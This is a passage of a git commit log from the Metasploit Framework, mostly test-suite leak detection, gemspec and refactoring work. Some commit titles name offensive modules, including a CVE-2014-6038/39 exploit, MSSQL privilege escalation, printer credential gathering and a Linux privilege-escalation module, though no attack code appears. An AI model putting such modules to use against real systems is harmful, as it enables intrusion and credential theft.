'metasploit/framework/spec/threads/logger/uuid'.  In `after(:suite)`,
the log can be parsed to map the caller back to each UUID and then only
the UUID of the still existing threads is used to look up the caller and
print their stacktraces.  This means only leaked threads callers will be
printed.
2014-11-06 14:05:35 -06:00
Tom Sellers 9295d9077e Remove debugging output 2014-11-06 09:27:44 -06:00
Luke Imhoff 8f635a1d76 Remove empty define_task
MSP-11147
2014-11-06 09:11:31 -06:00
Luke Imhoff 8855e0731c Fix multiline string indentation
MSP-11147
2014-11-06 09:11:12 -06:00
Luke Imhoff 8d06189a19 Tell use to run with rake spec to see Thread.new caller
MSP-11147

If the log isn't available, tell the user to rerun with `rake spec`
instead of printing nothing after the `:\n`, which looks incomplete.
2014-11-06 09:10:04 -06:00
Luke Imhoff c1f1222783 Check that threads/suite.log exists before reading
MSP-11147

Even with leaked threads, there may be no log if the suite is run
without `rake spec`, such as when `rspec` is used directly to run a
subset of specs.
2014-11-06 09:07:11 -06:00
Tom Sellers 8bf6a34d6c Fix empty session ID and cleanup
- Fixed handling of empty session IDs for those commands that required them
- Added help text for ranges with examples
2014-11-06 07:18:55 -06:00
Matias P. Brutti ddb62c84b3 Removing add_host since it is not necessary :(
- Ups I did not needed this. I can get away with report_host and
report_client.
2014-11-05 18:03:23 -08:00
Matias P. Brutti b5e6465916 Adding db.add_host() and workspace
- Adding add_host() Although Report host exists, this is a
straightforward method to metasploit-credential::creation::add_host()
- Add workspace.id to the responses of db.current_workspace and
db.workspace and  db.get_workspace
2014-11-05 14:23:27 -08:00
Luke Imhoff d66c98b34d Remove prior log/metasploit/framework/spec/threads/suite.log
MSP-11147
2014-11-05 15:51:43 -06:00
Luke Imhoff d4d710cc3a Merge branch 'feature/MSP-11130/metasploit-framework-spec-constants' into feature/MSP-11147/thread-leak-detection
MSP-11147

Merge to get framework instance cleanup, which should clean up a lot of
thread leaks too.

Conflicts:
	Rakefile
	lib/metasploit/framework/spec.rb
	spec/spec_helper.rb
2014-11-05 15:47:59 -06:00
Luke Imhoff 097aa330e1 Log caller for each Thread.new for rake spec
MSP-11147
2014-11-05 15:34:35 -06:00
Luke Imhoff 96990fdc02 Fail before suite if more than 1 thread exists
MSP-11147

Detect thread leaks in a `before(:suite)` configured by
`Metasploit::Framework::Spec::Threads::Suite.configure!` and fail if any
leaks are found.
2014-11-05 14:38:43 -06:00
Pedro Ribeiro e71ba1ad4a Push exploit for CVE-2014-6038/39 2014-11-05 20:12:03 +00:00
Pedro Ribeiro 490d6d046b Merge pull request #6 from rapid7/master
merge
2014-11-05 20:10:42 +00:00
Luke Imhoff 382d34d398 Fix spec.name in metasploit-framework-full
MSP-11578

Left in 'metasploit-framework-db' after copying and forgot to update to
'metasploit-framework-full'.
2014-11-05 12:40:31 -06:00
Luke Imhoff 63b4c0beba Depend on metasloit-framework in optional gemspecs
MSP-11578

Optional gemspecs should depend on the minimal metasploit-framework
because they don't work without metasploit-framework's code.
2014-11-05 12:33:44 -06:00
Luke Imhoff 9137bd6527 Revert "Update Gemfile.lock"
MSP-11578

This reverts commit a3829b800d.
2014-11-05 11:10:51 -06:00
Luke Imhoff 713578aea7 metasploit-framework-full.gemspec
MSP-11578

metasploit-framework-full depends on the minimal metasploit-framework
and all optional dependency gemspec: metasploit-framework-db and
metasploit-framework-pcap.
2014-11-05 10:20:09 -06:00
Luke Imhoff a3829b800d Update Gemfile.lock
MSP-11578
2014-11-05 09:55:31 -06:00
Luke Imhoff 5619b6d554 Add metasploit-framework as dependency of metasploit-framework-pcap
MSP-11578

Any of the optional depenency gems should depend on the minimal
metasploit-framework as it supplies the versioning information.
2014-11-05 09:51:38 -06:00
Luke Imhoff 06222911f6 Move pcap bundler group to metasploit-framework-pcap.gemspec
MSP-11578

This will allow Metasploit Pro to use the
metasploit-framework-pcap.gemspec to ensure it has the correct version of
gems that were previously only in metasploit-framework's Gemfile and so
weren't being checked for version compatibility when Pro used
metasploit-framework.gemspec.
2014-11-05 09:40:57 -06:00
Luke Imhoff 3093ba8394 Explicitly require 'metasploit/credential' and 'metasploit_data_models'
By putting the db group into the metasploit-framework-db.gemspec,
bundler no longer automatically required 'metasploit/credential' and
'metasploit_data_models' because gems, such as metasploit-framework-db,
are expected to explictly require their dependencies.
2014-11-05 09:25:50 -06:00
Luke Imhoff a56a063b84 Move db bundler group to metasploit-framework-db.gemspec
MSP-11578

This will allow Metasploit Pro to use the
metasploit-framework-db.gemspec to ensure it has the correct version of
gems that were previously only in metasploit-framework's Gemfile and so
weren't being checked for version compatibility when Pro used
metasploit-framework.gemspec.
2014-11-05 08:58:46 -06:00
Tom Sellers 2bec646393 rolling back a change 2014-11-05 06:49:06 -06:00
Tom Sellers 8aa6fca760 Minor fixes and status update
Minor tweaks after the PR from @kernelsmith

Remaining items:

1. Handle empty session IDs correctly, for example 'sessions -d' or 'sessions -k'
2. Find a method of explaining the range options in the help text
3. Retest all changed code areas
4. Edit PR Summary to reflect changes to the scope
2014-11-05 06:46:55 -06:00
Tom Sellers ff6bc5cf68 Merge pull request #3 from kernelsmith/landing/4063-DRYer
modernizes & DRYs session/job ranges from kernelsmith
2014-11-05 06:05:14 -06:00
Joshua Smith 78a4ee686b modernizes & DRYs session/job ranges 2014-11-04 23:33:31 -06:00
Fatih Ozavci d91ffa893b Viproy is removed from names
Author sections are fixed
2014-11-05 15:44:32 +11:00
Luke Imhoff 9f573e2d8d Revert "Add .log extension to metasploit/framework/spec/constants/suite log"
MSP-11130

This reverts commit 4f986c4a48.

Extension wasn't there because it was a directory name and a log file
name.
2014-11-04 14:03:54 -06:00
Luke Imhoff dee02fc85b Automatically clear previous log/metasploit/framework/spec/constants/each.log
MSP-11130

Have a task, 'metasploit:framework:spec:constants:each:clean' run before
`rake spec` that removes the previous
`log/metasploit/framework/spec/constants/each.log` so that the user doesn't
have to manually remove the load when removing
`Metasploit::Framework::Spec::Constants::Each.configure!` from
`spec/spec_helper.rb`.
2014-11-04 13:58:13 -06:00
nullbind 56a02fdb4a added mssql_escalate_executeas_sqli.rb 2014-11-04 13:38:13 -06:00
Luke Imhoff 313d86982c Log Spec::Constants::Each error instead of flag.
MSP-11130

Instead of writing `1` to the file and then printing a verbose message
in the spec task action, log the verbose message and just print the log
in the spec task action, so other tools can just look at the log when
not using `rake spec`.

NOTE: Failing specs due to unnecessary
`Metasploit::Framework::Spec::Constants::Each.configure!`
2014-11-04 13:36:52 -06:00
Luke Imhoff 1d09fa677e log/remove-cleaner -> log/metasploit/framework/spec/constants/each.log
MSP-11130

Rename log file to match naming scheme for
Metasploit::Framework::Spec::Constants::Suite.
2014-11-04 13:21:47 -06:00
Luke Imhoff 4f986c4a48 Add .log extension to metasploit/framework/spec/constants/suite log
MSP-11130
2014-11-04 13:20:10 -06:00
Luke Imhoff 45fea32c77 Use 'Metasploit::Simple::Framework#modules loading' in 'payloads can be instantiated'
MSP-11130

Use `expect_to_load_module_ancestor` and `load_and_create_module` in
favor of the custom code in 'payloads can be instantiated'.
2014-11-04 13:06:52 -06:00
Luke Imhoff c115ad3c36 Use load_and_create_module in modules_spec
MSP-11130

Reuse 'Msf::Simple::Framework#modules loading' context in 'all modules
with module type can be instantiated' instead of using the similar code.
2014-11-04 12:59:59 -06:00
jvazquez-r7 eb8d4b6772 Force LITTLE_ENDIAN by default 2014-11-04 10:39:42 -06:00
Luke Imhoff 7cb0954a6e Add manual removal of log/remove-cleaner to Each removal
MSP-11130

When removing `Metasploit::Framework::Spec::Constants::Each.configure`
from spec/spec_helper.rb,
`Metasploit::Framework::Spec::Constants::Each.define_task` will see the
`log/remove-cleaner` from the last run unless it is manually removed.
2014-11-04 10:10:28 -06:00
Luke Imhoff b0f1b2a1f7 Merge branch 'master' into feature/MSP-11130/metasploit-framework-spec-constants
MSP-11130

Conflicts:
	Rakefile
2014-11-04 10:10:12 -06:00
Luke Imhoff cc4e553c11 Remove Metasploit::Framework::Spec::Constants::Each.configured!
MSP-11130

No longer needed because all before suite leaks have been fixed.
2014-11-04 09:50:16 -06:00
Luke Imhoff 0c769e2fd7 Fix constant leaks in Msf::Util::EXE spec
MSP-11130

Remove global $framework as it loads modules prior to suite run and they
are not cleaned up.
2014-11-04 09:48:55 -06:00
Luke Imhoff 78ea93044b Fix Msf::PayloadGenerator spec constant leaks
MSP-11130

Remove the constant PAYLOAD_FRAMEWORK as it leads to a
Msf::Simple::Framework instance that is not cleaned up and loads modules
prior to the beginning of the suite run.
2014-11-04 09:48:02 -06:00
Luke Imhoff ff0391cdc7 Fix derive_module_ancestor_names
MSP-11130

Wrap :reference_name in an Array since :ancestor_reference_names is
expected to be an Array.
2014-11-04 09:40:55 -06:00
nullbind 15119d2a0f comment fix-sorry 2014-11-04 09:07:08 -06:00
nullbind f108d7b20a fixed code comment 2014-11-04 08:51:27 -06:00
Meatballs 5c215ac0c3 Merge branch 'master', remote-tracking branch 'upstream/master' 2014-11-04 11:55:08 +00:00
jvazquez-r7 3b1042b903 Add specs for Rex::OLE::DirEntry#from_s 2014-11-03 17:09:37 -06:00
jvazquez-r7 ac5996f21a Merge Rex::OLE::DirEntry specs 2014-11-03 15:34:10 -06:00
jvazquez-r7 d023c9243f Add specs for Rex::OLE::DirEntry 2014-11-03 15:31:12 -06:00
jvazquez-r7 41800163dd Fix recursive call to find_by_sid 2014-11-03 14:25:29 -06:00
jvazquez-r7 930b482412 Merge specs for Rex::OLE::MiniFAT 2014-11-03 11:36:39 -06:00
jvazquez-r7 e56220e5b7 Add specs for Rex::OLE::MiniFAT 2014-11-03 11:34:23 -06:00
nullbind fbe3adcb4c added mssql_escalate_executeas module 2014-11-03 11:29:15 -06:00
Luke Imhoff 9ea1240cbb Default modules_path
MSP-11130

Default `:modules_path` to use the `#modules_path` left for
'Msf::Simple::Framework#modules#loading''s `#load_and_create_module`.
2014-11-03 11:06:49 -06:00
Luke Imhoff 0296d1784d Derive ancestor reference names from reference name
MSP-11130

For 'Msf::Simple::Framework#modules loading''s load_and_create_modules,
don't require `:ancestor_reference_names` when the `:module_type` is not
payload as the one ancestor reference name will be the same as
`:reference_name`.
2014-11-03 10:59:01 -06:00
Jon Hart 8f197d4918 Move to build_probe 2014-11-03 08:41:51 -08:00
Jon Hart 05dd3fa4ba rport, not datastore['RPORT'] 2014-11-03 08:26:11 -08:00
Luke Imhoff d97bc52d8a Complete documentation for 'Msf::Simple::Framework::Modules loading'
MSP-11130
2014-11-03 09:47:29 -06:00
jvazquez-r7 9d84dda86b Merge Rex::OLE::DIFAT specs 2014-11-03 09:24:40 -06:00
jvazquez-r7 cf18225c27 Finish Rex::OLE::DIFAT specs 2014-11-03 09:23:26 -06:00
Luke Imhoff f0001eb9e6 Extract 'Msf::Simple::Framework#modules loading'
MSP-11130

'Msf::Simple::Framework#modules loading' defines
`#load_and_create_module`, which takes the :ancestor_reference_names,
:modules_path, :module_type, and :reference_name of the module whose
ancestors to load and the reference name to create. A default modules
path, the first 'modules' path for the Rails application is available in
in the `#modules_path` let.
2014-11-03 08:59:06 -06:00
Jon Hart 121ebdfef6 update_info 2014-10-31 13:17:50 -07:00
Tom Sellers 0b8b0499f3 - Added range support to sessions -c and sessions -s
- Added check for un-detach-able sessions
- Added back the check for session.interactive? when detaching sessions
- Collapse build_jobs_array and build_sessions_array to build_range_array
- Added check for empty or invalid parameters to detach and kill [session | job]
- Reworked session id sanity check around line 1660
- RuboCop/Style guide change: Array.new -> []
- Misc RuboCop/Style guide spacing changes
2014-10-31 15:02:17 -05:00
Jon Hart 83475bb929 Disable UnneededPercentQ in Rubocop 2014-10-31 12:19:17 -07:00
Jon Hart f5ee2d7948 Update .rubocop.yml to use correct Metrics namespace 2014-10-31 12:15:32 -07:00
Jon Hart b99e71dcdd Example UDPScanner style cleanup, move most to UDPScanner 2014-10-31 12:14:04 -07:00
Jon Hart c921611821 Move default probe and result store to UDPScanner, since most need it 2014-10-31 12:02:21 -07:00
Jon Hart ff0b52cffb Example per-batch vprint, a useful default 2014-10-31 10:31:31 -07:00
Jon Hart 1f6658639f More sane % printing for aux scanner 2014-10-31 10:25:01 -07:00
Jon Hart 94d4388af9 Improvements to example UDPScanner 2014-10-31 09:53:10 -07:00
Jon Hart f16720bb55 Trailing , 2014-10-31 09:39:34 -07:00
Jon Hart f66c43475b More sane % printing for aux scanner 2014-10-31 09:39:21 -07:00
Jon Hart 77cd6dbc8b Usability improvements to UDPScanner
* Add RPORT as a regular option, define rport
* Add CPORT as an advanced option, define cport
* Change CHOST to an advanced option
* Use a more sane THREADS value since hosts are scanned in batches
2014-10-31 09:20:14 -07:00
Jon Hart d9f0a10737 Add new example template for scanning UDP services 2014-10-31 08:06:31 -07:00
Luke Imhoff 8b4767449f Fix constant leaks in Msf::EncodedPayload spec
MSP-11130

Switch to using 'Msf::Simple::Framework' shared context and explicit
module loading instead of loading all moduels to just test with one.
2014-10-30 14:56:47 -05:00
Luke Imhoff 325c01e45d Log constants leaked before and after suite
MSP-11130

Some constants can be leaked before suite if module are loaded during
spec loading, such as if a framework instance in made in the context
body of a spec instead of in a before callback.
2014-10-30 14:04:07 -05:00
Luke Imhoff ae0a98785f Print when Metasploit::Framework::Spec::Constants::Each before(:each) cleans
MSP-11130

Print to stderr the full description of the example when
`Metasploit::Framework::Spec::Constants.configure!`'s `before(:each)`
cleans constants as it may clean constants that are leaked from the
class level at parse time.
2014-10-30 12:34:55 -05:00
Deral Heiland a6980b9eb8 Updated to module based feedback from wchen-r7 2014-10-30 12:59:11 -04:00
Luke Imhoff c8e4745d6d Fail rake spec if leak tracking unnecessary
MSP-11130

Fail `rake spec` if
`Metasploit::Framework::Spec::Constants::Each.configure!`'s
`before(:each)` does not clean all leaked constants and if should be
removed so that it does not interefore with future specs.
2014-10-30 09:37:17 -05:00
Luke Imhoff c2bd75b587 Clean up leaked constants
MSP-11130
2014-10-29 15:50:47 -05:00
Deral Heiland 6c13c14be1 Konica MFP ftp and SMB credential gathering module 2014-10-29 16:12:16 -04:00
Luke Imhoff 7e2897277b Rename shared example file to match name
MSP-11130
2014-10-29 12:54:29 -05:00
Luke Imhoff 892aeaf727 Metasploit::Framework::Spec::Constants cleaner
MSP-11130

Shared context will calls `Metasploit::Framework::Spec::Constants.clean
after each example.
2014-10-29 11:31:17 -05:00
jvazquez-r7 35e385f634 Add first specs version for Rex::OLE::DIFAT 2014-10-28 16:45:21 -05:00
Luke Imhoff 0d4b22ce7a Detect constant leaks in individual examples
MSP-11130

`Metasploit::Framework::Spec::Constants::Each.configure!` will set up an
`after(:each)` callback that will fail the example if there are leaked
constants.  Leaked constants are cleaned up to prevent misattribution.
2014-10-28 15:50:24 -05:00
Meatballs 4f61710c9a Merge remote-tracking branch 'upstream/master' into psexec_refactor_round2 2014-10-28 20:26:44 +00:00
Luke Imhoff f9b1f2a424 Extract Metasploit::Framework::Spec::Constants::Suite
MSP-11130

`Metasploit::Framework::Spec::Constants::Suite` extracts out
`LOG_PATHNAME`, `configure!`, and `define_task` as those piece are
specific to handling constant leaks for the entire suite.  This is in
preparation for `Metasploit::Framework::Spec::Constants::Each`.
2014-10-28 15:07:32 -05:00
jvazquez-r7 526251fc16 Add specs for Rex::OLE::Header 2014-10-28 14:52:28 -05:00
Luke Imhoff 3ec9cf54c9 Filter non-loaded-module constants from leaked constants
MSP-11130

Constants from library Modules or Classes should not be reported as
leaked since they have been required and should be persistent between
spec runs.
2014-10-28 14:05:27 -05:00
Luke Imhoff 1a1f3335b8 Extract Metasploit::Framework::Spec::Constants.full_name
MSP-11130

Extract method to convert child constant names to module full names so
it can be reused 'Metasploit::Framework::Spec::Constants tracker' shared
context.
2014-10-28 13:53:48 -05:00
Luke Imhoff a0a9c2140b Log leaked constants and fail rake spec on leak
MSP-11130

Instead of printing the leaked constants to stderr, log them to
`log/leaked-constants.log`.  In task action for spec, read
`log/leaked-constants.log`.  If it exists, print each leaked constants
(and it appropriate it's module full name) and then exit with 1.  If the
file does not exist, do nothing.
2014-10-28 11:21:35 -05:00
Tom Sellers c6519d08c0 Merge pull request #2 from wvu-r7/pr/4063
Change killing back to stopping
2014-10-28 06:07:52 -05:00
William Vu 4251ad199e Change killing back to stopping
Got a little excited with the copypasta, I guess.
2014-10-28 05:49:30 -05:00
Tom Sellers 88d093eb7e Merge pull request #1 from wvu-r7/pr/4063
Add support for jobs -k ranges from @wvu
2014-10-28 05:00:54 -05:00
William Vu 5547890002 Add support for sessions -d ranges 2014-10-28 03:07:46 -05:00
William Vu 36c85b7150 Add support for jobs -k ranges 2014-10-28 03:01:53 -05:00
Jonathan Claudius d799625507 Switch to vprint_good for verbose good things 2014-10-28 01:53:54 -04:00
Jonathan Claudius 0fa461737e Fix null arguments syntax 2014-10-28 01:49:54 -04:00
Jonathan Claudius 7a727f9bff Make msftidy happy 2014-10-28 01:48:13 -04:00
Jonathan Claudius 595b4d2bbd Clean up aux check review comments 2014-10-28 01:44:52 -04:00
Fatih Ozavci 329b9ac292 Actions updates of the Viproy CUCDM exploits 2014-10-28 14:11:07 +11:00
Fatih Ozavci 703393e9f1 First revision of the Viproy CUCDM exploits 2014-10-28 13:53:13 +11:00
Luke Imhoff 605f48e58d Detect leaked constants under Msf::Modules
MSP-11130

Detect constants leaked under Msf::Modules after the suite completes.
2014-10-27 11:13:43 -05:00
Tom Sellers 13b6f1cf48 Syntax changes 2014-10-25 09:39:15 -05:00
Fatih Ozavci 1db09fee01 Viproy VoIP Pen-Test Kit - Cisco CUCDM Exploits 2014-10-24 11:46:52 +11:00
Trevor Rosen 33ca914fc1 Merge branch 'landing/4045' into upstream-staging/great-backport
Land #4045
2014-10-23 13:02:29 -05:00
Tom Sellers 2a6a8245cf Allow killing multiple specific sessions 2014-10-23 05:56:26 -05:00
OJ 52cbbe3677 Add some documentation to the ADSI functions 2014-10-21 10:34:47 +10:00
OJ 8329a15cb0 Merge branch 'upstream/master' into group_tlv_refactors 2014-10-21 09:54:55 +10:00
Luke Imhoff 080ea3e56a Merge branch 'staging/great-backport' into feature/MSP-11126/msf-module-reorg
MSP-11126
2014-10-17 14:28:13 -05:00
Luke Imhoff 06fbbf7001 Fully-qualified Msf::NormalRanking in Msf::Module::Ranking
MSP-11126

Needed due to loss of `Msf` lexical scope.
2014-10-17 13:58:57 -05:00
Luke Imhoff 43354774e1 Fully qualified Msf::RankingName in Msf::Module::Ranking
MSP-11126

To compensate for loss of `Msf` lexical scope.
2014-10-17 13:43:51 -05:00
Luke Imhoff ae45c1b9d3 Msf::Module::Rank -> Msf::Module::Ranking
MSP-11126

So that mixin module won't appear as Rank constant that Msf::Module
subclasses are supposed to define.
2014-10-17 13:39:53 -05:00
Luke Imhoff a6a2886faa Fully-qualify Msf::OptionContainer references
MSP-11126
2014-10-17 13:09:27 -05:00
Luke Imhoff 112b5988f2 Add missing autoload to fix loading on travis-ci
MSP-11126

`Msf::Module::Failure` fails to load on travis-ci probably due to a load
order difference, so add `:Failure` to autoloads in `Msf::Module`.
2014-10-17 13:05:59 -05:00
Luke Imhoff 0c00c7cc50 Fully-qualifiy Msf::MODULE_TYPES constants
MSP-11126

Fully-qualify `Msf::MODULE_TYPES`, `Msf::MODULE_ANY`,
Msf::MODULE_ENCODER`, `Msf::MODULE_EXPLOIT`, `Msf::MODULE_NOP`,
`Msf::MODULE_AUX`, `Msf::MODULE_PAYLOAD`, `Msf::MODULE_POST` so that
their usage isn't dependent on nested lexical scoping.
2014-10-17 12:43:40 -05:00
Luke Imhoff 7ffd07c44d Remove protected method from specs examples
MSP-11126
2014-10-17 11:49:01 -05:00
Luke Imhoff 575717681c Extract Msf::Module::Privileged shared examples
MSP-11126
2014-10-17 11:48:36 -05:00
Luke Imhoff 172afd180a Extract Msf::Module::Privileged
MSP-11126
2014-10-17 11:45:03 -05:00
Luke Imhoff 45302b9403 Extract Msf::Module::UUID shared examples
MSP-11126
2014-10-17 11:34:35 -05:00
Luke Imhoff cbae9be5b5 Extract Msf::Module::UUID
MSP-11126
2014-10-17 11:31:56 -05:00
Luke Imhoff d86eda5f1d Extract Msf::Module::Author shared examples
MSP-11126
2014-10-17 11:20:23 -05:00
Luke Imhoff a59e635913 Extract Msf::Module::Author
MSP-11126
2014-10-17 11:17:12 -05:00
Luke Imhoff e822920298 Msf::Module::Author -> Msf::Author
MSP-11126

`Msf::Module::Author` was already aliased to `Msf::Author`.  This just
moved `Msf::Module::Author` to that alias to free up
`Msf::Module::Author` so it can be used for a concern for
`Msf::Module`'s author methods.
2014-10-17 08:59:54 -05:00
Luke Imhoff ebc62cf9c9 Spec Msf::Module::Author
MSP-11126

Bare minimum of methods to assist with moves.
2014-10-16 16:03:28 -05:00
Luke Imhoff 839657abec Extract Msf::Module::Network shared examples
MSP-11126
2014-10-16 15:54:35 -05:00
Luke Imhoff b5039c3817 Extract Msf::Module::Network
MSP-11126
2014-10-16 15:51:59 -05:00
Luke Imhoff ee9623c11e Remove class method examples moved to shared examples
MSP-11126
2014-10-16 15:41:28 -05:00
Luke Imhoff 244e4a9954 Extract Msf::Module::Search shared examples
MSP-11126
2014-10-16 15:40:19 -05:00
Luke Imhoff be945d26fc Extract Msf::Module::FullName shared examples
MSP-11126
2014-10-16 15:33:13 -05:00
Luke Imhoff 2e538bd72d Extract Msf::Module::Search
MSP-11126
2014-10-16 15:27:54 -05:00
Luke Imhoff 7743fdb2f9 Extract Msf::Module::FullName
MSP-11126
2014-10-16 15:24:59 -05:00
Luke Imhoff 0e53548c82 Extract Msf::Target
MSP-11126
2014-10-16 15:13:18 -05:00
Luke Imhoff e5cc456be7 Extract Msf::Platform
MSP-11126
2014-10-16 15:11:59 -05:00
Luke Imhoff 27c006a8f9 Extract Msf::SiteReference
MSP-11126
2014-10-16 15:09:55 -05:00
Luke Imhoff 9981271e2a extract Msf::Reference
MSP-11126
2014-10-16 15:03:21 -05:00
Luke Imhoff c8730ca55b Extract Msf::Author
MSP-11126
2014-10-16 14:59:15 -05:00
Luke Imhoff fe5ffa9cec Standardize on autoload over require
MSP-11126

Standardize on autoload to prevent trying to use colliding names for
included Module with Modules/Classes just under the namespace.
2014-10-16 14:58:08 -05:00
Luke Imhoff c501e1e58a Extract Msf::Module::Rank shared examples
MSP-11126
2014-10-16 14:41:59 -05:00
Luke Imhoff d5c7a50e86 Extract Msf::Module::Rank
MSP-11126
2014-10-16 14:39:33 -05:00
Luke Imhoff 925cd63171 Extrat Msf::Module::Type shared examples
MSP-11126
2014-10-16 14:28:43 -05:00
Luke Imhoff e6f442697b Extract Msf::Module::Type
MSP-11126
2014-10-16 14:23:21 -05:00
Luke Imhoff e418f98d45 arch -> Msf::Module::Arch
MSP-11126
2014-10-16 13:21:11 -05:00
Luke Imhoff 28af6a490b Extract Msf::Module::Arch shared examples
MSP-11126
2014-10-16 13:16:57 -05:00
Luke Imhoff 44b2e5e35c Extract Msf::Module::Arch
MSP-11126
2014-10-16 13:14:56 -05:00
Luke Imhoff a2dc3b754f Extract Msf::Module::ModuleInfo shared examples
MSP-11126
2014-10-16 13:10:15 -05:00
Luke Imhoff 31c93e9dbc Extract Msf::Module::ModuleInfo
MSP-11126
2014-10-16 13:01:42 -05:00
Luke Imhoff f8ada87e86 Extract Msf::Module::Options shared examples
MSP-11126
2014-10-16 11:24:03 -05:00
Luke Imhoff f9caa4d25e Extract Msf::Module::Options
MSP-11126

Methods for registering, derigsterings, and validating options.
2014-10-16 11:14:42 -05:00
Luke Imhoff c50cb2eb8a Extract Msf::Module::UI::*::Verbose and shared examples
MSP-11126
2014-10-16 10:05:45 -05:00
Luke Imhoff a3afb92ee2 Extract Msf::Module::UI::Line shared examples
MSP-11126
2014-10-16 09:51:23 -05:00
Luke Imhoff a9a6f0c5f9 Extract Msf::Module::UI::Line
MSP-11126
2014-10-16 09:50:07 -05:00
Luke Imhoff 96864b3892 Extract Msf::Module::UI::Message shared examples
MSP-11126
2014-10-16 09:45:17 -05:00
Luke Imhoff bc2bd99698 Extract Msf::Module::UI::Message
MSP-11126
2014-10-16 09:39:30 -05:00
Luke Imhoff 4d9f7db15a Extract Msf::Module::Compatibility
MSP-11126
2014-10-16 09:29:31 -05:00
Luke Imhoff f5d09f735e Extract Msf::Module::Compatibility
MSP-11126
2014-10-16 09:14:57 -05:00
Luke Imhoff 9b10a3f1dc Extract Msf::Module::DataStore shared examples
MSP-11126
2014-10-16 09:14:44 -05:00
Luke Imhoff 85169d5e8d Extract Msf::Module::DataStore
MSP-11126
2014-10-16 09:03:23 -05:00
Luke Imhoff 6a194b3a88 Extract Msf::Module::ModuleStore shared examples
MSP-11126
2014-10-16 09:03:12 -05:00
Luke Imhoff f068d669d6 Extract Msf::Module::ModuleStore
MSP-11126
2014-10-16 09:03:07 -05:00
Luke Imhoff 370daaed5e Extract Msf::Module::Failure
MSP-11126

Move `Msf::Module::Failure` to a file of its own.
2014-10-16 09:02:55 -05:00
Nikita 621b9523b1 Update tnspoison_checker.rb 2014-10-13 22:05:08 +04:00
Nikita 1996886ae9 Update tnspoison_checker.rb 2014-10-13 12:53:39 +04:00
Nikita 22aabc7805 Add new module to test TNS poison
This module simply checks the server for vulnerabilities like TNS Poison
2014-10-13 12:21:07 +04:00
James Lee 3329aa68ad Fix baffling comment
See 9d759146
2014-10-06 18:55:52 -05:00
James Lee e9f341fd6c Rename to more intention-revealing name 2014-10-06 16:33:21 -05:00
James Lee 41e41e2f49 Fix typo that caused encoding to ignore saved regs 2014-10-06 16:24:50 -05:00
Vincent Herbulot 63426793ef Use vars_get instead of direct URI concatenation 2014-10-02 11:03:12 +02:00
Vincent Herbulot 041d44ecc6 Spec modification to allow previous commit
The spec was requiring the WAR to be at /deploy but this path was a
typo introduce while refactoring. The initial correct path is
/deploy/management
2014-10-01 18:30:53 +02:00
Vincent Herbulot 6d07dffa6c Fix a typo that was preventing WAR deletion
I made a typo while refactoring jboss_deploymentfilerepository. This
typo was preventing the WAR payload to be removed after its execution.
2014-10-01 18:04:21 +02:00
Vincent Herbulot a48d6053ab Added spec for jboss/deployment_file_repository 2014-10-01 11:57:01 +02:00
us3r777 47507e1ff1 Slight modifications to pass msftidy 2014-09-29 23:59:12 +02:00
us3r777 f9b6519e49 Added spec to new methods in Jboss mixin 2014-09-29 23:45:40 +02:00
us3r777 7125a9f047 Added YARD doc to the mixin
Also make a slight correction on jboss_deployementfilerepository.rb to
handle nil responses.
2014-09-28 19:44:37 +02:00
us3r777 02d202dd44 Refactor Jboss mixin
Use send_request_cgi and vars_get
rand_text_alpha -> Rex::Text.rand_text_alpha
2014-09-24 22:41:58 +02:00
us3r777 919eec250d Refactor auto_target from Jboss mixin
Removed fail_with and targets from the mixin.
2014-09-24 22:15:32 +02:00
Thomas Ring 81406defed hopefully what you are looking for this time 2014-09-23 11:36:13 -05:00
Sean Verity 4bd14ed5ea Uses a hash for options as opposed to numerous methods on blob 2014-09-17 14:11:37 -04:00
Sean Verity 3c11251432 Mitigates excessive use of lookup operator (hopefully adds clarity) 2014-09-15 17:05:54 -04:00
Sean Verity e55dab3914 Refactored expiration and timeout logic in client_core.rb 2014-09-15 01:01:23 -04:00
Jakob Lell 7db7b4db5e Removed binary files from pull request (the code has already been converted to metasm) 2014-09-08 23:58:22 +02:00
us3r777 b8ba2dd703 Fix timeout with HEAD request in delete_file 2014-09-08 18:34:50 +02:00
us3r777 cc5b852517 Fixed spec for lib/msf/http/jboss
Revert commit abdd72e8c6.
Added some spec for lib/msf/http/jboss/deployment_file_repository_scripts
2014-09-08 17:42:04 +02:00
Vincent Herbulot 283e83028f Fix problem with HEAD requests
Split lib/msf/http/jboss/script into
lib/msf/http/jboss/deployment_file_repository_scripts.rb and
lib/msf/http/jboss/bean_shell_scripts.rb as
2014-09-08 14:02:15 +02:00
Jakob Lell 3e57ac838c Converted LD_PRELOAD library from precompiled binary to metasm code. 2014-09-04 21:49:55 +02:00
us3r777 abdd72e8c6 Refactor spec to match lib/msf/jboss
Moved bean_hsell_scripts_spec to scripts_spec. Fixed a typo.
2014-08-31 19:13:40 +02:00
us3r777 403eae3579 Jboss file deployment repository refactorization
Moved lib/msf/http/jboss/bean_shell_script.rb to
lib/msf/http/jboss/script.rb. Moved head_stager_jsp to script.rb.
Removed stager_jsp to use the function from the mixin.
2014-08-30 13:15:37 +02:00
us3r777 33f90de7f6 Refactoring jboss module to work with the Mixin
Moved upload and delete methods of deploymentfilerepository to the
mixin. Removed call_uri_mtimes method as the module now uses deploy
from the mixin.
2014-08-29 20:08:35 +02:00
Thomas Ring fbae68870c cleanup one stray comment 2014-08-29 10:57:51 -05:00
Thomas Ring 4c93cbc62c changes based on feedback, added timeout error message 2014-08-29 10:57:20 -05:00
Jakob Lell 052327b9c6 Removed redundant string "linux_" from exploit name 2014-08-27 23:33:15 +02:00
us3r777 af9f3b83a7 Refactoring jboss module to work with the Mixin
Removed datastore USERNAME and PASSWORD which are provided by
Msf::Exploit::Remote::HttpClient. Removed datastore PATH and VERB which
are provided by the mixin (lib/msf/http/jboss). Moved target detection
to the mixin.
2014-08-27 22:54:40 +02:00
Thomas Ring 67efa76fc4 changes based on feedback 2014-08-27 09:08:18 -05:00
Thomas Ring e23acf8d82 fix for oracle_login not checking connection status and stopping on timeout 2014-08-25 14:57:45 -05:00
Sean Verity b7714c9661 Cleaned up indents. 2014-08-25 13:03:23 -04:00
Sean Verity e47a6f1573 Provides methods to patch metsrv stagers with options. 2014-08-25 00:55:07 -04:00
Jakob Lell b967336b3b Small bugfix (incorrect filename in data directory) 2014-08-25 00:39:00 +02:00
Jakob Lell fc6f50058b Add desktop_linux_privilege_escalation module 2014-08-25 00:05:20 +02:00
Meatballs d2bc0baa87 Merge remote-tracking branch 'upstream/master' into extapi_service_post
Conflicts:
	lib/msf/core/post/windows/services.rb
2014-08-24 19:46:19 +01:00
